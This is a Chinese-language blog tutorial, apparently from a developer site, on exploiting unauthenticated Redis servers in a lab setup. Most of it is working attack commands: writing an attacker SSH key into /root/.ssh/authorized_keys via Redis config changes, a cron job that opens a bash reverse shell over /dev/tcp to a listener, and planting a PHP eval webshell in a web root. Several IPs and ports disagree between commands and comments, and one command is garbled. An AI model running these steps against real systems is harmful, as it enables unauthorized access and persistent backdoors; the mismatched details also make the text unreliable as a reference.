目录

前言

1.未授权访问漏洞

1.1 信息收集

1.2 未授权登录和利用

1.3 定时任务反弹shell

1.4 Redis利用getshell


前言

redis是一个key-value存储系统,拥有很强大的功能,目前的普及率很高,redis是用ANSI C语言编写、支持网络、可基于内存和可持久化的日志型键值对数据库,并提供多种语言的API。reids默认端口是6379。造成为授权漏洞的原因不是逻辑漏洞(:》),是安全配置未作限制的原因,如果主机非内网主机,且拥有互联网IP那么redis大概率存在未授权漏洞,本人遇到的是这样的。

1.未授权访问漏洞

Redis默认情况是空密码连接,如果在root用户下安装的话,这是十分危险的,有多危险呢?大概( )这么危险。如果一个管理员在安装了Redis之后使用默认端口,且未做任何限制手段的话,那就接下来开始操作吧。

攻击:192.168.163.128

靶机:192.168.163.135

1.1 信息收集

使用nmap进行扫描

1.2 未授权登录和利用

当扫描发现主机端口对应的服务地址后,使用本地Redis客户端连接服务器获取敏感数据了。

 Redis数据库的基本操作

info  #查看redis的信息和服务器信息
flushall 删除所有数据
del key  删除键为key的数据
get key  获得参数key的数据

1.在攻击机中生成ssh公钥和私钥,密码设置为空

ssh-keygen -t rsa # 需要使用管理员权限

 2.进入/root/.ssh目录,将生成的公钥保存到1.txt。

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

 3.将保存ssh的公钥1.txt写入redis

cat 1.txt | redis-cli -h 192.168.163.132 -x set crack

4.获取redis备份路径 

redis-cli -h 192.168.163.135 

CONFIG GET dir

5.跟改redis备份路径为ssh,并修改上传公钥文件的名称为 authorized_keys

 config set dir /root/.ssh

CONFIG SET dbfilename authorized_keys

6.检查是否更改成功(查看有没有authorized_keys文件),然后保存退出

CONFIG GET dbfilenamesave

save # 保存

7. 查看受害主机已成功写入公钥

 8.使用攻击机登录受害主机

1.3 定时任务反弹shell

在Linux系统下可以利用定时任务反弹shell,需要使用另一台主机接受redis服务器反弹来的shell

监听端口

nc -lvp 50050  #监听50050端口

 执行如下命令

redis-cli -h 192.168.10.32  #登陆到redis数据库
set d "\n\n*/1  *  *  *  * /bin/bash -i>&/dev/tcp/xxx.xxx.xxx.xxx/50050 0>&1\n\n"  #每隔一分钟,向192.168.10.27的8888端口反弹shell
config set dir /var/spool/cron  #设置工作目录
config set dbfilename root      #设置文件名,当前用户叫啥就得命名为啥,当前用户为root
save                            #保存
 
#上面这几行命令的意思就是将 "\n\n*/1 * * * * * /bin/bash -i>&/dev/tcp/192.168.10.27/8888 0>&1\n\n" 这条命令写入test文件中,并且存放在/var/spool/cron目录下

1.4 Redis利用getshell

写入后门时候需要指导网站的绝对路径,然后执行如下命令即可

redis-cli -h 192.168.10.32
set one "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
config set dir  /var/www/html/dedecms/uploads
config set dbfilename webshell.php
save

参考链接: Redis未授权访问漏洞

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐